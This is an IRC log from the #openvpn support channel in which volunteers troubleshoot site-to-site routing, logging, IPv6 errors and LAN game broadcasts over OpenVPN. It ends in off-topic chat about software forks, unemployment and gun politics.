06:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:59 -!- `Ile` [~kvirc@212-200-214-138.dynamic.isp.telekom.rs] has joined #openvpn
07:22 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
07:22 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:25 -!- Carbon_Monoxide [~cmonxide@n219078079066.netvigator.com] has joined #openvpn
07:27 -!- Carbon_Monoxide [~cmonxide@n219078079066.netvigator.com] has left #openvpn []
07:30 -!- GabrieleV_ is now known as GabrieleV
07:35 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
07:36 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
07:39 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
07:46 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
07:46 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
08:14 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
08:16 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
08:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:38 -!- brute11k1 [~brute11k@89.249.235.33] has joined #openvpn
08:39 -!- brute11k [~brute11k@89.249.235.33] has quit [Ping timeout: 265 seconds]
08:49 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
08:50 -!- brute11k1 [~brute11k@89.249.235.33] has quit [Ping timeout: 260 seconds]
08:59 -!- MarKsaitis_ [~MarKsaiti@81.101.81.114] has joined #openvpn
09:00 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 255 seconds]
09:01 -!- MarKsaitis_ [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
09:01 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
09:01 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
09:10 <@ecrist> IT: no PMs, please
09:10 <+rob0> oh, sorry, that's partly my fault
09:11 <@ecrist> hrm
09:11  * ecrist goes and reads
09:11 <+rob0> Here's the deal: IT wants to hire someone to do a small and simple VPN job.
09:11 < IT> oh, k :P
09:11 <+rob0> I could have done it, but not through TeamViewer, which is the way he wants to provide access.
09:12 <@ecrist> wtf is TeamViewer?
09:12 -!- abradsha [~Ade@95.209.134.79.bredband.tre.se] has joined #openvpn
09:12 <@ecrist> ah
09:13 <@ecrist> nm, I can google
09:13 <@ecrist> IT, you're forgiven your PM.:)
09:13 < Eagleman> whats bad about teamviewer lol
09:13 <+rob0> If you have TeamViewer you'll be in and out in less than an hour. He just wants a site-to-site VPN which is partly working already.
09:14 <+rob0> well, I'm not saying what's good nor bad about TeamViewer; I don't have it and can't easily install it. But I am a fan of ssh :)
09:15 < Eagleman> I guess he wants to monitor what you are doing
09:15 <+rob0> screen(1) can do that too
09:15 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
09:18 < IT> !1918
09:18 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
09:18 <@ecrist> so can watch(8)
09:19 < IT> !8
09:23 <@ecrist> IT, I'd strongly suggest you first switch your IP subnets.  If you decide to ever add clients, it'll make your life easier before you entrench yourself in those ranges
09:24 <@ecrist> that's up to you, though.  we can still get things working with what you have
09:25 < IT> i changed one to 192.168.1.x a few weeks ago
09:25 < IT> i know it's a little harder to track this way, but it's easyer for the users
09:25 <@ecrist> 99% of all home gateways use either 192.168.0.0/24 or 192.168.1.0/24 as their range
09:26 <@ecrist> which will cause problems if anyone ever connects in from a home network that uses those ranges.
09:26 < IT> the 2 branches are in a closed enviroment, nobody should connect from home
09:27 <+rob0> yep, I mentioned that yesterday also. It CAN be done with those networks, but in the long run (when something WILL need to change), I predict pain. :)
09:27 < IT> one step at a time :P
09:27 <@ecrist> sure
09:27 <@ecrist> what do you have for the server config now?
09:28 <@ecrist> and what do you have for the client config now?
09:28 <@ecrist> also, are the two VPN machines your network gateways already, or are they secondary boxes?
09:28 <+rob0> We got very close yesterday. Seemed like iroute wasn't working.
09:28 < IT> they are my gateways, pasting the config in a sec
09:28 <+rob0> yes, they're both the gateways
09:29 <+rob0> The ccd file was being read, but for some reason iroute was not working.
09:29 < IT> http://pastebin.com/WnX2r34i
09:30 <@ecrist> in your paste, there's a typo, the network ranges on lines 23 and 24 should match
09:31 -!- abradsha is now known as ade_b
09:31 -!- ade_b [~Ade@95.209.134.79.bredband.tre.se] has quit [Changing host]
09:31 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:32 < IT> they should contain the local ip or the client's ip?
09:32 <+rob0> 192.168.0.0/24 is the client LAN, 192.168.1.0/24 is the server LAN
09:33 <+rob0> push the server LAN route to the client, set the client LAN route on the server?
09:35 -!- dazo changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.0 (08-Jan-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue || Your problem is probably your firewall, Really ||Not a native English speaker? say so!
09:36 <@ecrist> IT: they should contain the local subnet for the server
09:36 < IT> ok, changed both to 192.168.1.0
09:37 < IT> the ccd contains iroute 192.168.1.0 255.255.255.0
09:45 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 246 seconds]
09:50 < IT> @ecrist?
09:53 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
09:54 <@ecrist> sorry, was AFK
09:54  * ecrist reads
09:55 <@ecrist> the iroute is wrong
09:55 <@ecrist> the iroute should be for the route of the client LAN
09:55 < IT> 192.168.0.0 255.255.255.0 then
09:56 < IT> ok, changed
09:57 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
09:57 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
09:57 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
09:57 < IT> i can ping machines in LAN1 from LAN2 gw but not vice-versa
09:58 <@ecrist> IT, can you draw up a diagram, quick?
09:58 <@ecrist> !diagram
09:58 <@vpnHelper> "diagram" is You can use a site such as http://gliffy.com to create a network diagram as well as programs such as Visio, Dia, or OmniGraffle
09:58 < IT> sure
10:05 -!- Eagleman [~Eagleman@D4B2D271.static.ziggozakelijk.nl] has quit []
10:06 < IT> just a quick drawing http://www.gliffy.com/go/publish/4209220/  tell me if i missed anything important
10:06 <@vpnHelper> Title: Gliffy Public Diagram - network diagram1 (at www.gliffy.com)
10:08 -!- ben1066_ is now known as ben1066
10:09 <@ecrist> perfect
10:09 <@ecrist> which side are you calling LAN1 and LAN2?
10:09 < IT> left LAN1, right LAN2
10:10 <@ecrist> ok
10:11 <@ecrist> is ipforwarding enabled on the client and the server?
10:11 < IT> i believe so, they server as internet gateways
10:12 < IT> *serve
10:13 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Quit: Leaving]
10:14 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
10:15 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Killed (idoru (Spam is off topic on freenode.))]
10:16 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
10:16 < fu_fu> what's up dudes
10:16 < fu_fu> and dudettes
10:17 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
10:17 < fu_fu> I wanted to tell you about a problem I found a solution for today. There is no documentation of it that I can find so far, so I am letting you all know.
10:18 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:19 < fu_fu> the log error msg is regarding  MULTI: bad source address from client [fe80::d978:2f77:f0f3:3320], packet dropped
10:20 <@ecrist> IT: firewall rules?
10:20 < fu_fu> this is a windows client to windows server, IPv6 issue is easily fixed by removing IPv6 from the TAP adapter
10:20 <@ecrist> also,
10:20 <@ecrist> !logs
10:20 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:21 < fu_fu> RTue Jan 08 11:09:37 2013 us=991671 cor-to-EUTS01/174.129.219.194:61210 MULTI: bad source address from client [fe80::d978:2f77:f0f3:3320], packet dropped
10:21 -!- master_of_master [~master_of@p57B55F0A.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:22 <@ecrist> the logs was for IT
10:22 < fu_fu> right sorry
10:22 < fu_fu> i'm just stoked i got the err off my screen
10:22 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
10:23 -!- master_of_master [~master_of@p57B53BBC.dip.t-dialin.net] has joined #openvpn
10:23 <+rob0> "Bad source address from client" is in the OpenVPN FAQ, and the answer is iroute.
10:27 < fu_fu> rob0 I think, it is an IPv6 issue with windows the iroute statements are correct but the error still occurs, when i disabled IPv6 on the adapter the error stopped.
10:28 <+rob0> Since IPv6 is only in 2.3, and 2.3 has not yet been released, documentation details might not be complete.
10:28 < fu_fu> pekster ID'd the error as an IPv6 problem in windows I think, several hours ago. I just wanted to close the loop
10:28 < fu_fu> rob0 2.3 is out now :)
10:28 <@ecrist> IT???
10:29 < IT> pasting
10:29 <@ecrist> rob0: 2.3 was released today
10:29 < IT> got lag on pastebin, 2 sec, check pm
10:29 <@ecrist> see /topic
10:30 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
10:31 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
10:31 < IT> got the rules?
10:31 <+rob0> oh ha. I saw dazo change the /topic but didn't pay attention to it :)
10:32 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 248 seconds]
10:34 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
10:34 <@ecrist> looking
10:34 <@ecrist> rob0: probably good to pay attention to
10:35 <@ecrist> !iptables
10:35 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just the
10:35 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
10:35 <@ecrist> IT ^^^
10:36 -!- b00b [~freenode@46.166.178.155] has joined #openvpn
10:39 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 260 seconds]
10:39 < IT> i don't think it's the firewall, i got the policy on default accept and can't ping from lan1 to lan2
10:40 < IT> i don't think it's the firewall, i got the policy on default accept and can't ping from lan1 to lan2 gw
10:40 < IT> sry for double post
10:42 <@ecrist> so, you can ping from lan2 machines to lan1 machines?
10:42 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
10:43 <@ecrist> can you ping from lan1 machines to lan2 machines?
10:44 < IT> no and no
10:44 < IT> i can ping from lan2 gw to lan1 machines
10:44 < IT> and that's it
10:44 <@ecrist> you still haven't posted your logs
10:45 <@ecrist> also, can you post a traceroute from a lan1 machine to a lan2 machine?
10:45 <@ecrist> and your routing tables from both lan1 gw and lan2 gw
10:47 < IT> here you go http://pastebin.com/fnCL33ua
10:49 -!- kjs [kjs@fedora/kjs] has joined #openvpn
10:50 < kjs> Guys is there any way of seeing a list of when users have authenticated?
10:50 <@ecrist> look at the openvpn status log
10:50 <@ecrist> IT: logs?
10:51 <@ecrist> also, !configs again, please
10:51 < kjs> i am looking in the status log now...
10:51 < IT> ServerA -> http://pastebin.com/XERBh8m9
10:52 < IT> ServerB -> http://pastebin.com/ef7t8veb
10:53 < IT> Configs -> http://pastebin.com/m64DhN0h
10:56 < IT> i have to move to my home workstation :) afk a little
11:00 <@ecrist> kk
11:02 < kjs> hmm
11:02 < kjs> openvpn-status-log only conains connections with todays date ?
11:02 < kjs> does it only log for 1 da y?
11:03 <@ecrist> kjs: openvpn-status-log shows currently connected users
11:03 <@ecrist> !man
11:03 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
11:03 < kjs> i see
11:03 < kjs> so there is no historic log ?
11:03 <@ecrist> look at --log
11:04 <@ecrist> try reading the man page
11:05 <@ecrist> IT: routes aren't getting pushed properly yet, still looking
11:06 <@ecrist> !iroute
11:06 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
11:06 < kjs> looks like someone has commented it out...
11:06 < kjs> # Log messages to the syslog.
11:06 < kjs> ;log         openvpn.log
11:06 < kjs> ;log-append   logs/openvpn.log
11:06 <+EugeneKay> !paste
11:06 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website, or (#2) ie: www.pastebin.ca
11:06 < kjs> It was 3 lines...
11:06 <@ecrist> kjs: that someone would be you, or another admin
11:06 < kjs> Not me.
11:07 <@ecrist> so, another admin
11:07 <@ecrist> or gremlins maybe
11:07 <@ecrist> or the nazis
11:08 < kjs> Ex admin ;)
11:09 <@ecrist> IT: you need to add "route 192.168.0.0 255.255.255.0" to your server config
11:10 < kjs> What a bitch, I can't think of another way of finding out if a user has been connecting to the VPN or not..
11:10 <@ecrist> you have to log the traffic...
11:22 -!- raidz_away is now known as raidz
11:22 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:25 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has quit [Quit: Dieser Computer ist eingeschlafen]
11:28 -!- mode/#openvpn [-o plaisthos] by ChanServ
11:28  * plaisthos hides again
11:32 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:32 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:32 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:35 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
11:41 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 264 seconds]
11:52 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
11:56 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
11:57 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
12:00 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
12:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:15 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 246 seconds]
12:24 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
12:25 -!- `Ile` [~kvirc@212-200-214-138.dynamic.isp.telekom.rs] has quit [Quit: KVIrc 4.1.3 Equilibrium http://www.kvirc.net/]
12:52 -!- staticsafe [~staticsaf@unaffiliated/staticsafe] has joined #openvpn
12:55 -!- pa [~pa@unaffiliated/pa] has quit [Read error: Connection reset by peer]
12:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:01 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
13:08  * EugeneKay sneezes violently
13:08  * ecrist doesn't give a shit
13:08 <+EugeneKay> I need to do that too, now that you mention it.
13:10 <@ecrist> at the office, we refer to it as doing 'paperwork'
13:10 <+EugeneKay> Ah, offices. How quaint.
13:11 <@ecrist> indeed
13:38 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
13:44 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
13:48 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Client Quit]
13:48 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Quit: Lost terminal]
13:49 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
14:23 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Changing host]
14:23 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
14:23 -!- ServerMode/#openvpn [+v novaflash] by sturgeon.freenode.net
14:23 -!- mode/#openvpn [+o novaflash] by ChanServ
14:31 <+pekster> kjs: I wrote a generic (and of course extensible) on-disconnect accounting script if you want to use it. It's GPLv3 code, so you're free to use it as a starting point for anything else you might need
14:31 <+pekster> !accounting
14:31 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
14:31 <@ecrist> gah, GPL
14:32 <+pekster> ecrist: Could be worse: I could have used GNU AGPL for that ;)
14:32 <@ecrist> heh
14:32  * ecrist refines regex
14:33 <@ecrist> gah, /[\w]{,1}GPL/
14:33 <+pekster> I wrote some regex yesterday to remove comments and zero chain counters on iptables-save rules
14:33 <+pekster> sed -r -e '1,1 p' -e '/^#/ d' -e 's/\[[[:digit:]]+:[[:digit:]]+\]/\[0:0\]/'
14:33 <@ecrist> I really hate that particular syntax
14:33 <@ecrist> PCRE FTW
14:34 <+pekster> No perl on my target system ;)
14:34 <@ecrist> the world's not perfect
14:34 <@ecrist> you don't need Perl for PCRE
14:34 <+pekster> How about an ash shell? ;)
14:34 <@ecrist> even grep supports it
14:40 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 17.0.1/20121128204232]]
14:49 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 276 seconds]
14:51 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
14:52 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
15:08 -!- brute11k [~brute11k@89.249.235.33] has quit [Quit: Leaving.]
15:13 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:16 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:28 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:37 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:58 < plaisthos> ecrist: gnu grep but other greps?
16:01 <+pekster> I suppose [0-9]+ is shorter. I dunno, just preference/taste really
16:05 < plaisthos> but probably not the same
16:05 < plaisthos> when localisation and unicode is used
16:09 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit []
16:13 <+pekster> Well, "digit" is pretty common in most encodings :P
16:15 < plaisthos> pekster: there might be addiotnal numbers like japanese numbers
16:15 <+pekster> Ah, I suppose
16:28 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:28 -!- mode/#openvpn [+v s7r] by ChanServ
16:36 -!- widith [~kenneth@li557-200.members.linode.com] has joined #openvpn
16:37 < widith> is it possible to pass 2 configuration files? I have one with all the parameters and the other with keys
16:37 <+s7r> congratulations for the release folks!
16:38 <+s7r> speaking off.. i have a question which stays on my mind. how come openvpn can connect via http proxy? how can you can connect to a ftp website on port 21 via a http proxy? wasn't http proxy just for http traffic? what is happening
16:38 <+s7r> what is the differnece between http proxy and socks4/5 proxy as I recall socks was for all protocols while http proxy was just for browsing http websites and nothing more
16:39 <+s7r> so ?
16:40 <+s7r> widith: why don't you make a single file .. adn that is all. include the certs there like <cert> </cert> <key> </key>
16:40 <+s7r> etc.
16:40 <+s7r> it is simpler this way
16:40 -!- dazo is now known as dazo_afk
16:43 <+pekster> widith: You can chain 'config' statements together
16:43 <+pekster> I don't see the advantage, but it's available to you as a feature if you want it
16:50 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 265 seconds]
16:57 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
17:01 -!- defswork [~andy@141.0.50.105] has joined #openvpn
17:03 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
17:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
17:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:07 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
17:15 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:15 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:18 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
17:23 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 240 seconds]
17:23 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Ping timeout: 265 seconds]
17:27 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:36 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
17:36 -!- moore1 [~moore@50.7.199.107] has joined #openvpn
17:58 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
18:10 -!- chrisb [~chrisb@pool-71-175-253-228.phlapa.east.verizon.net] has joined #openvpn
18:14 -!- chrisb [~chrisb@pool-71-175-253-228.phlapa.east.verizon.net] has quit [Ping timeout: 240 seconds]
18:16 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:17 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
18:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
18:32 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:46 -!- ancient3 [~Rockminto@c83-253-113-227.bredband.comhem.se] has joined #openvpn
18:47 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
18:48 < kantlivelong> hey all.. im using an openvpn TAP server with a a remote windows client. for some reason LAN based games do not auto detect sessions. im assuming its using broadcast and am unsure why thats not being replayed?
18:48 -!- troy- [~troy@dcamp-bbr1.prg1.eu.tauri.ca] has quit [Quit: leaving]
18:48 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
18:49 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
18:49 < ancient3> kantlivelong: Bridge mode or ?
18:50 < ancient3> kantlivelong: Allow traffic for Tap interfaces.
18:51 < ancient3> kantlivelong: And bridge interfaces to test it, so that nothing is blocked.
18:51 < kantlivelong> ancient3: its bridged
18:51 < kantlivelong> and traffic is flowing
18:51 < kantlivelong> i can ping/make connections manually
18:52 -!- moore1 [~moore@50.7.199.107] has quit []
18:54 < ancient3> The windows client needs a port that it cannot rech from the servers TAP/Bridge interfaces. Firewall ?
18:55 < ancient3> Reach
18:56 < ancient3> Once a vpn-client connects you need to think of the interfaces as local interfaces for the client.
18:56 < kantlivelong> yeah
18:58 < ancient3> If you can... open up both the client and server firewalls. Test the game to exclude any of those issues.
19:00 <+pekster> kantlivelong: Using wireshark to capture packets may help. IIRC, IPX routing in Windows is highly broken, and I recall from a few years back failing to get some game auto-detect working because Windows was routing the reply IPX packet out of the physical LAN instead of the VPN where the source IPX broadcast came from :(
19:00 < kantlivelong> ancient3: the game works as expected when specifying the IP of the other node
19:00 <+pekster> So, if you're using IPX, you might just be screwed. I looked up relevant MS docs on IPX routing, and they were wrong (not a huge surprise, but frustrating at least)
19:00 < kantlivelong> its when searching for games on a lan
19:00 < kantlivelong> so might be ipx..
19:00 < kantlivelong> hmm
19:01 <+pekster> Well, if it's using IPX (most newer games don't and prefer to use a UDP/TCP broadcast)
19:01 <+pekster> That could be a firewall issue, depending on how your LAN systems and routers are configured
19:01 < kantlivelong> well one easy game i tested was minecraft
19:01 < kantlivelong> i see UDP packets on my lan on broadcast
19:01 < kantlivelong> but not on the end client
19:02 <+pekster> A bridged/tap setup will send that across the VPN, so I suspect your firewall is getting in the way
19:02 <+pekster> Follow packets and tcpdump/wireshark at each step
19:02 < kantlivelong> pekster: do i need to add a specific route for broadcast?
19:02 < kantlivelong> firewall is wide open on the tap/bridge
19:02 < ancient3> kantlivelong, pekster: Oooh! IPX, Today! :) Haha, thats funny :)
19:02 < ancient3> IPX/SPX
19:03 <+pekster> Some of us still like playing games from the 90's :(
19:04 <+pekster> Now please excuse me while I turn on my Electric Sheep screensaver ;)
19:04 < kantlivelong> haha
19:04 < ancient3> Well, you live and learn. But odd, because i thought minecraft used TCP/IP
19:04 < kantlivelong> i hate games that require searching instead of just letting me slap in the ip
19:05 < kantlivelong> ancient3: it does im sure for the connection. but not for broadcasting games
19:05 < kantlivelong> though most games use udp
19:05 < kantlivelong> hmm
19:06 < ancient3> kantlivelong: Aha! ... So many games does that (or did)... Its odd why they dont use a central DB to announce connectable games.
19:06 < kantlivelong> ancient3: why would they? most people dont have time to setup servers
19:06 < ancient3> Yeah, but not IPX, thats just evil :)
19:07 -!- Guest15284 [~LaStik@62.109.16.198] has quit [Ping timeout: 240 seconds]
19:07 < ancient3> Yeah, lets use a protocol that noone wants, right ? :)
19:08 <+pekster> IPX would be (have been?) easier to use is Redmond's own documentation was actually correct :(
19:09 < ancient3> I think thats Novells protocol.
19:09 < ancient3> Or was.
19:09 <+pekster> Well, when a Windows game uses it, you're stuck using Redmond's frontends to interact with the OS
19:10 < ancient3> Yep, complete crap is mostly what they provide. As little interaction between operating systems as possible is "Encouraged".
19:11 <+pekster> Unix/Linux seem to mostly "get along" despite their fundamental differences ;)
19:11 < ancient3> I like the EU that way. They said "Make operating systems talk to eachother". This has worked very well if you lok at samba for instance.
19:14 < ancient3> Naah, UNIX/Linux/BSD/Apple is ok. Only windos doesnt want interoperability.
19:18 < ancient3> Apple maintains cups, Oracle maintains MySQL and openoffice nowdays. I think they are doing a good job without knowing a whole lot of the intricates. They provide usable and nice code i think. But i wonder why openoffice (the old staroffice from Germany) is so hard to compile. They need to work on that.
19:19 <+EugeneKay> Oracle dropped OpenOffice; it's a stalled Apache project now
19:19 <+EugeneKay> All of the core developers left and formed The Document Foundation, which produces LibreOffice
19:19 < ancient3> EugeneKay: Aha!, yeah i saw that and im using Libre office nowdays :)
19:20 <+EugeneKay> The same thing is happening with MySQL --> MariaDB. Percona is a notable fork, but it's for-profit.
19:28 < ancient3> Yes, they are generally forked to provide extra functions to paying customers. I have thought about that too, To make a standard thing and then allowing payments for it so customers will for instance get database support within the GUI's that im making. But im more interrested in working for a company or so that i use my code for my CV and let it loose across the worlds :)
19:30 < ancient3> I assume Percona is maintained by Spanish people... This will probably be a much better version because they seem to be highly unemployed at the moment.
19:33 < ancient3> Im in Sweden and i have been unemployed for 4 years in a few months. People who shouldnt have jobs in IT have them. Thats very odd, because i thought that skills had anything todo with working.
19:33 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
19:34 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Ping timeout: 265 seconds]
19:35 < ancient3> It was the same shit in 1998-2002 ... Seems idits get to work that needs to realize they hate their jobs and do not work in IT anymore. Or so they try to tell people.
19:35 <+pekster> There are still companies out there that value actual skill
19:36 <+pekster> The better ones even respect the public/private IP issues too
19:36 < ancient3> pekster: I sure hope so :)
19:36 <+pekster> ancient3: You might enjoy a talk at 29C3 (torrents and mirrors available) called 'Securing the Campaign' where the head of security for the Obama 2012 campaign talks about IT security
19:38 < Suterusu> Anyone bored enough to help diagnose why I keep gitten D/c'd form my VPN?
19:40 < ancient3> pekster: I actually think Obama is doing much good. Especially if he removes guns from the streets as he has done. Because with all the shootings over there i feel the NRA needs to realize what the hell they are doing to their own people.
19:41 < Suterusu> They allowed to carry guns for a reason
19:41 < Suterusu> protection
19:42 -!- LaStik [~LaStik@62.109.16.198] has joined #openvpn
19:42 < Suterusu> Not from each other, the muggers an burglars etc - Thats a bonus - Its protection from tyrannical rule
19:42 <+pekster> A lot of the problem is social too; Canada has more guns per person and far less deaths. Plus we seem to care more as a country about our 2nd admendemnt (right to guns) than our 4th (right to privacy and protection from unwarrented searches)
19:42 -!- LaStik is now known as Guest55454
19:42 <+pekster> Suterusu: Don't ask to ask, just ask. We're talking about other stuff because no one has asked about VPNs in a while ;)
19:42 < Suterusu> If needed, the country could rise at arms to enforce a new leader
19:42 <+pekster> True, but I don't think we're in danger of being invaded by England. Not for a while anyway :P
19:43 < Suterusu> Who 'asked to ask'?  I said my piece - Peeps interested or they int
19:43 < Suterusu> lol, more likey china
19:43 < Suterusu> Esp once they figgure owt you aint got they gold
